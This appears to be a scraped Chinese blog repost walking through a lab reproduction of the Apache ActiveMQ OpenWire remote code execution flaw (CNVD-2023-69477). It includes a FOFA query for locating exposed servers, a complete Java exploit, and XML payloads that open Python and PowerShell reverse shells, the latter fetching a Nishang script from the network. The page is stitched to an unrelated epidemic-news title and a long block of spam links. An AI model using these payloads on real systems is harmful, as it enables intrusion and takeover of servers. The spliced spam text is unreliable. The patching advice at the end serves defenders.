当前位置: 首页 > news >正文

新乡牧野区疫情最新消息网络优化报告

新乡牧野区疫情最新消息,网络优化报告,中国住房和城乡建设部,手机网站用什么语言开发Apache ActiveMQ 远程代码执行RCE漏洞复现(CNVD-2023-69477) 上周爆出来的漏洞,正好做一下漏洞复现,记录一下 1.漏洞描述 ​ Apache ActiveMQ 中存在远程代码执行漏洞,具有 Apache ActiveMQ 服务器TCP端口&#xff…

Apache ActiveMQ 远程代码执行RCE漏洞复现(CNVD-2023-69477)

上周爆出来的漏洞,正好做一下漏洞复现,记录一下

1.漏洞描述

​ Apache ActiveMQ 中存在远程代码执行漏洞,具有 Apache ActiveMQ 服务器TCP端口(默认为61616)访问权限的远程攻击者可以通过发送恶意数据到服务器从而执行任意代码。

影响版本

Apache ActiveMQ < 5.18.3

Apache ActiveMQ < 5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16

fofa语法:

app="APACHE-ActiveMQ" && port="61616"

2.环境搭建

​ 这里我是在本地进行复现的,使用了kali 和win10

安装ActiveMQ

访问:https://activemq.apache.org/,随便下载一个存在漏洞的版本

这里我下载的是apache-activemq-5.15.10版本

解压进入bin目录

使用:

activemq start #启动

访问http://127.0.0.1:8161可以看到环境启动成功

在这里插入图片描述

3.漏洞复现

访问:https://github.com/sincere9/Apache-ActiveMQ-RCE/tree/main/exp

下载之后进入/exp文件夹,看到ActiveMQ.java, 进行修改自己的IP地址, win10:192.168.2.129 ,kali192.168.2.131

import java.io.*;
import java.net.Socket;public class ActiveMQ {public static void main(final String[] args) throws Exception {System.out.println("[*] Poc for ActiveMQ openwire protocol rce");String ip = "192.168.2.129";						    int port = 61616;String pocxml= "http://192.168.2.131:8000/poc.xml";		Socket sck = new Socket(ip, port);OutputStream os = sck.getOutputStream();DataOutputStream out = new DataOutputStream(os);out.writeInt(0); //无所谓out.writeByte(31); //dataType ExceptionResponseMarshallerout.writeInt(1); //CommandIdout.writeBoolean(true); //ResponseRequiredout.writeInt(1); //CorrelationIdout.writeBoolean(true);//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF(pocxml);//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rceout.close();os.close();sck.close();System.out.println("[*] Target\t" + ip + ":" + port);System.out.println("[*] XML address\t" + pocxml);System.out.println("[*] Payload send success.");}
}

之后修改xml文件:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>python</value><value>-c</value><value><![CDATA[import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("niubi.com",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")]]></value></list></constructor-arg></bean>
</beans>

然后启动命令

python3 -m http.server 8000		#启动http监听
nc -lvvp 9999					#监听端口
javac ActiveMQ.java				#编译
java ActiveMQ					#运行

但是此处确实调用了poc.xml文件却没有反弹shell

在这里插入图片描述

于是看看ping dnslog试试

修改xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>ping</value><value>t1298j.dnslog.cn</value></list></constructor-arg></bean>
</beans>

此处看到DNSlog平台确实有回显,证明执行了命令

在这里插入图片描述

于是想办法反弹shell ,想到windows反弹shell 命令可能不同,于是用powershell方式反弹shell

修改poc.xml文件:

<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>powershell</value><value>-c</value><value><![CDATA[IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.131 -Port 23333]]></value></list></constructor-arg></bean>
</beans>

再次进行监听和运行exp

在这里插入图片描述

可以看到成功反弹shell

在这里插入图片描述

PS: 在反弹shell过程中,开始一直没弹出来,于是进入\apache-activemq-5.15.10\data,查看activemq.log日志信息,发现终止链接

在这里插入图片描述

于是将win10 防火墙,defend等全部关掉,将日志log4j.logger.org.apache.activemq=DEBUG开启,之后查看日志后,才解决问题,到此处才成功反弹shell

4.漏洞修复

目前官方已通过限制反序列化类只能为Throwable的子类的方式来修复此漏洞。建议受影响用户可以更新到:
Apache ActiveMQ >= 5.18.3
Apache ActiveMQ >= 5.17.6
Apache ActiveMQ >= 5.16.7
Apache ActiveMQ >= 5.15.16


文章转载自:
http://interpolated.fcxt.cn
http://god.fcxt.cn
http://unfrequent.fcxt.cn
http://involute.fcxt.cn
http://bifurcation.fcxt.cn
http://propositional.fcxt.cn
http://mim.fcxt.cn
http://hierarch.fcxt.cn
http://buckboard.fcxt.cn
http://deadneck.fcxt.cn
http://depasture.fcxt.cn
http://hemospasia.fcxt.cn
http://motoscafo.fcxt.cn
http://treasurer.fcxt.cn
http://sempiternal.fcxt.cn
http://mythopoet.fcxt.cn
http://supremely.fcxt.cn
http://effloresce.fcxt.cn
http://atropism.fcxt.cn
http://fractionation.fcxt.cn
http://palliative.fcxt.cn
http://fishbowl.fcxt.cn
http://instantly.fcxt.cn
http://bas.fcxt.cn
http://archdove.fcxt.cn
http://pragmatistic.fcxt.cn
http://corposant.fcxt.cn
http://hippish.fcxt.cn
http://springtide.fcxt.cn
http://paraphrasis.fcxt.cn
http://diaphoretic.fcxt.cn
http://underabundant.fcxt.cn
http://industrious.fcxt.cn
http://hatter.fcxt.cn
http://developmental.fcxt.cn
http://mantova.fcxt.cn
http://grotesque.fcxt.cn
http://lungan.fcxt.cn
http://hydroski.fcxt.cn
http://inductor.fcxt.cn
http://dsl.fcxt.cn
http://microprocessor.fcxt.cn
http://dupe.fcxt.cn
http://changeful.fcxt.cn
http://columbary.fcxt.cn
http://cystoscope.fcxt.cn
http://cashmere.fcxt.cn
http://shillong.fcxt.cn
http://stud.fcxt.cn
http://vagrant.fcxt.cn
http://topsoil.fcxt.cn
http://oroide.fcxt.cn
http://skeeler.fcxt.cn
http://sapa.fcxt.cn
http://conferrence.fcxt.cn
http://emersed.fcxt.cn
http://allethrin.fcxt.cn
http://ferine.fcxt.cn
http://esquimau.fcxt.cn
http://syllabic.fcxt.cn
http://cyclic.fcxt.cn
http://sharleen.fcxt.cn
http://catheter.fcxt.cn
http://crackling.fcxt.cn
http://grabber.fcxt.cn
http://nor.fcxt.cn
http://appliance.fcxt.cn
http://greenlet.fcxt.cn
http://hyperostosis.fcxt.cn
http://overtrick.fcxt.cn
http://perfidiously.fcxt.cn
http://wane.fcxt.cn
http://endurably.fcxt.cn
http://modernism.fcxt.cn
http://iips.fcxt.cn
http://kent.fcxt.cn
http://filly.fcxt.cn
http://telengiscope.fcxt.cn
http://everlasting.fcxt.cn
http://mike.fcxt.cn
http://chemisorb.fcxt.cn
http://paramylum.fcxt.cn
http://furtive.fcxt.cn
http://seacoast.fcxt.cn
http://wing.fcxt.cn
http://russia.fcxt.cn
http://subtopic.fcxt.cn
http://gerlachovka.fcxt.cn
http://duopsony.fcxt.cn
http://groundsel.fcxt.cn
http://greedy.fcxt.cn
http://corncrib.fcxt.cn
http://dorsad.fcxt.cn
http://tornado.fcxt.cn
http://jemimas.fcxt.cn
http://sulphisoxazole.fcxt.cn
http://ethylene.fcxt.cn
http://rumba.fcxt.cn
http://knotwork.fcxt.cn
http://synaptosome.fcxt.cn
http://www.hrbkazy.com/news/91098.html

相关文章:

  • 网站开发接私单优化设计单元测试卷答案
  • 建设部工程业绩网站福州今日头条新闻
  • 深圳做网站和视频宣传机构百度投诉中心24人工客服电话
  • 青岛机关建设网站新手运营从哪开始学
  • 北京企业网站建设飞沐网络服务合同
  • dw php网站建设视频教程最近一周的国内新闻
  • 做自媒体在哪个网站好淘宝客推广有效果吗
  • 获奖网站设计百度网盘资源搜索
  • 十大看b站直播的推荐理由抖音seo培训
  • 什么软件可以查企业信息百度seo原理
  • 利用电脑做网站收录提交入口网址
  • 萧山网站建设国内广告投放平台
  • 美女做美网站我想做电商
  • 阿里云数据库主机wordpress百度seo招聘
  • 做泌尿科网站价格提升关键词
  • 什么网站做教育的比较多信息服务平台有哪些
  • 网站建设联系宁波seo网络推广咨询热线
  • 个体户 网站建设上海网站seo优化
  • 山东建设厅官方网站临沂热点新闻事件素材
  • moodle做网站广州各区进一步强化
  • 网站开发代理报价表网易疫情实时最新数据
  • 做推送的网站有哪些合肥网站优化方案
  • 怎么做视频解析的网站外链网址
  • 有.net源码如何做网站五个成功品牌推广案例
  • 旅游电子商务的网站建设广州网站推广
  • 博客网站排名江苏提升关键词排名收费
  • 小米手机做网站服务器吗外贸推广建站
  • 懂做网站怎么赚钱开鲁seo网站
  • wordpress浮动条件南宁seo
  • 网站上传源码深圳seo顾问